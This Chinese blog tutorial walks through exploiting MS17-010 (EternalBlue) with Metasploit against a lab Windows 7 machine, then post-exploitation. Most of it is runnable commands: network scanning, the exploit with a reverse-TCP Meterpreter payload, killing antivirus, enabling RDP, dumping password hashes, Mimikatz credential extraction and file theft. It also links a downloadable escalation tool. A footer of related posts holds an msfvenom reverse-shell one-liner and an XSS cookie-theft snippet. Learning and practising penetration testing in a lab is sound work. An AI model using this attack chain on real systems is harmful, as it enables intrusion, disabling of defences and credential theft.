Metersploit 集成了渗透阶段的全部利用,从漏洞探测,到漏洞利用,最后到后渗透阶段。本次博客主要抛砖引玉,通过对MS17_010漏洞的复现,来学习Metasploit。

漏洞环境:

靶机:windows 7 (192.168.0.135)

攻击机:kali 2018 (192.168.0.133)

开始之前先来熟悉 Metaspolit 基本术语:

Auxiliaries(辅助模块),Exploit(漏洞利用模块),Payload(攻击载荷模块),Post(后期渗透模块),Encoders(编码工具模块)

1.加载smb扫描模块

msf > search auxiliary/scanner/smb

发现可利用的smb_ms17_010模块

2.加载漏洞扫描模块对ip段进行漏洞扫描:

msf > use auxiliary/scanner/smb/smb_ms17_010

msf > set rhosts 192.168.0.100-150

msf > set threads 10

msf > run

发现 192.168.0.135 这台主机可能存在MS17_010漏洞

3.利用nmap对漏洞主机进行探测:

msf > nmap -T4 -A 192.168.0.135

发现敏感端口139,445开启

4.搜索MS17_010可利用漏洞模块

msf > search ms17_010

(没有的话 git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git)

5.加载漏洞利用模块,设置参数

msf > use exploit/windows/smb/ms17_010_eternalblue

msf > set lhost 192.168.0.133

msf > set rhost 192.168.0.135

msf > set payload windows/x64/meterpreter/reverse_tcp

msf > exploit

可以看到漏洞利用成功,现在是 system 最高权限

6.信息查看

进程迁移:

因为shell都是不稳定的,所以需要找到一个可靠的进程,迁移过去:

migrate 要迁移的进城号

查看系统信息:

meterpreter > sysinfo

查看是否为虚拟机:

meterpreter > run post/windows/gather/checkvm

查看目标机运行时间:

meterpreter > idletime

查看完整网络设置:
meterpreter > route

关闭杀毒软件:

meterpreter > run post/windows/manage/killav

启动目标机的远程桌面协议,开启3389端口:

meterpreter > run post/windows/manage/enable_rdp

可以看到已经成功启动了远程桌面。

列举当前登陆过的用户:

meterpreter > run post/windows/gather/enum_logged_on_users

可以看到有 SecEvery,Administrator两个用户。

列举安装在目标机上的应用程序:

meterpreter > run post/windows/gather/enum_applications

将当前Meterpreter终端隐藏在后台:

meterpreter > background

需要重新调用终端:

meterpreter > sessions -i 1

很多用户习惯将计算机设置为自动登陆,下面这个命令可以抓取自动登陆的用户名和密码:

meterpreter > run windows/gather/credentials/windows_autologin

下载c盘下1.txt文件到/home目录下:

meterpreter > download c:\txt /home

上传/home目录下1.txt文件到c盘下:

meterpreter > upload /home/1.txt c:\

密码抓取:

1.使用Hashdump抓取密码

Hashdump Meterpreter脚本可以从目标机中提取Hash值,破解Hash值即可获得登陆密码。计算机中的每个账号(如果是域服务器,则为域内的每个账号)的用户名和密码都存储在sam文件中,当计算机运行时,该文件对所有账号进行锁定,要想访问就必须有“系统级”账号。所以要使用改名了就必须进行权限提升。

在Meterpreter Shel提示符下输入hashdump命令,将导出目标机sam数据库中的Hash:

2.使用Mimikatz抓取密码

加载mimikatz模块:

meterpreter > load mimikatz

看了大概使用方法后,既可以使用Metasploit内建的命令,也可以使用Mimikatz自带的命令从目标机器上导出Hash和明文证书。

抓取系统Hash:

meterpreter > msv

md5解密:

抓取系统票据:

meterpreter > kerberos

获取系统账户信息:

----------------------------------------------------------------------------------

emmmm....为了给这篇文章增加一点营养,这里另附使用MS16_032对 windows 2003 进行溢出提权:

另附ms16_032提权小工具:

https://pan.baidu.com/s/141N6rXVO7mGvuXfp5UzzBA

提取码:yavh      解压码: 96sec.org

参考链接:

https://xz.aliyun.com/t/2536

https://www.cnblogs.com/lsgxeva/p/8450277.html

https://www.cnblogs.com/backlion/p/6804863.html

http://www.96sec.org/blog/post/243.html

23.通过MS17_010来学习msf对渗透的利用的更多相关文章

  1. kali linux之msf客户端渗透

    在无法通过网络边界的情况下转而攻击客户端----进行社会工程学攻击,进而渗透线上业务网络 含有漏洞利用代码的web站点--利用客户端漏洞 含有漏洞利用代码的doc,pdf等文档----诱使被害者执行p ...

  2. 风炫安全WEB安全学习第二十三节课 利用XSS获取COOKIE

    风炫安全WEB安全学习第二十三节课 利用XSS获取COOKIE XSS如何利用 获取COOKIE 我们使用pikachu写的pkxss后台 使用方法: <img src="http:/ ...

  3. Qt学习笔记(2)-利用StackWidget实现选项卡式页面

    学习笔记第二篇,利用Qt实现选项卡式的页面,效果如图1.1-图1.3所示.程序实现的功能是通过点击状态栏实现不同页面的切换,实际上Qt中自带有Tab选项卡式的控件,本文利用StackWidge实现类似 ...

  4. msf后渗透

    生成exe后门 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.131 lport=4444 -f exe -o 4444.e ...

  5. 2017.10.23 Java 面向对象深入学习---final 关键字、static关键字、匿名对象等

    今日内容介绍 1.final 关键字 2.static 关键字 3.匿名对象 4.内部类 5.包的声明与访问 6.访问修饰符 7.代码块 第一节课 01(面向对象)final关键字概念.avi 02: ...

  6. Metasploit学习笔记——客户端渗透攻击

    1.浏览器渗透攻击实例——MS11-050安全漏洞 示例代码如下 msf > use windows/browser/ms11_050_mshtml_cobjectelement msf exp ...

  7. 第23篇 js快速学习知识

    前面说了js的一些高级方面的基础知识,这些都是比较容易出错的和比较难理解的东西,除了这些之外其它的知识都比较简单了,基础学好了,扩展起来就是小意思.今天说说js方面可以快速学习和入门的知识. 1.闭包 ...

  8. Java开发中的23+2种设计模式学习个人笔记(未完待续)

    注:个人笔记 一.设计模式分三大类: 创建型模式,共五种:工厂方法模式.抽象工厂模式.单例模式.建造者模式.原型模式. 结构型模式,共七种:适配器模式.装饰器模式.代理模式.外观模式.桥接模式.组合模 ...

  9. msf客户端渗透(六):抓包、搜索文件、破解弱口令、修改MACE时间

    嗅探抓包 查看网卡 指定网卡,因为资源有限,默认抓满50000个包如果不dump下来,就会自动销毁掉,从0开始抓. dump嗅探到的文件到本机,传递到本机的过程是结果ssl加密的 dump了两个文件 ...

随机推荐

  1. 前端绘图方式Canvas和SVG的区别

    Canvas和SVG是html5中支持2种可视化技术,都是可以在画布上绘制图形和放入图片.下面来介绍和分析一下他们. 一.Canvas 和 SVG 简介 1.什么是Canvas? Canvas 是H5 ...

  2. 深入理解ES6之迭代器与生成器

    迭代器 迭代器 iterator,在 Javascript 中,迭代器是一个对象(也可称作为迭代器对象),它提供了一个 next() 方法,用来返回迭代序列中的下一项. next 方法的定义,next ...

  3. [算法]打印N个数组的整体最大Top K

    题目: 有N个长度不一的数组,所有的数组都是有序的,请从大到小打印这N个数组整体最大的前K个数. 例如: 输入含有N行元素的二维数组代表N个一维数组. 219,405,538,845,971 148, ...

  4. how to close the old Session - if the same username starts a new Session?

    Question: want to close the old Session - if the same username starts a new Session Any ideas how i ...

  5. AIM Tech Round 3 (Div. 2) A , B , C

    A. Juicer time limit per test 1 second memory limit per test 256 megabytes input standard input outp ...

  6. Idea_学习_01_Idea激活

    一.激活—激活码 下载地址:官网 1.注册码 http://idea.lanyus.com/ 二.激活—license server 1. (推荐) 弹窗中选择最后一个页面license server ...

  7. MicroMessage的动态操作(第二步)

    现在开始将静态页面转化成动态页面.将页面上的信息转化成 数据库提供的信息. 建立jdbc获取数据库连接,并设置一个查询sql语句,查出所有结果.但是因为查询结果rs包含全表信息,是多行. 为了保存查询 ...

  8. T62

    Forgiveness is the fragrance that the violet sheds on the heel that has crushed it.你一脚踩在紫罗兰上,它却把香味留在 ...

  9. Hibernate - POJO 类和数据库的映射文件*.hbm.xml

    POJO 类和关系数据库之间的映射可以用一个XML文档来定义. 通过 POJO 类的数据库映射文件,Hibernate可以理解持久化类和数据表之间的对应关系,也可以理解持久化类属性与数据库表列之间的对 ...

  10. BZOJ4974 大视野1708月赛 字符串大师

    传送门 题目大意 给定一个字符串的每一个前缀的最短循环节长度,求符合要求的字典序最小的字符串. 题解 给定循环节最短长度就是给定了这个字符串$kmp$的$next$数组,即$X_i=i-next_i$ ...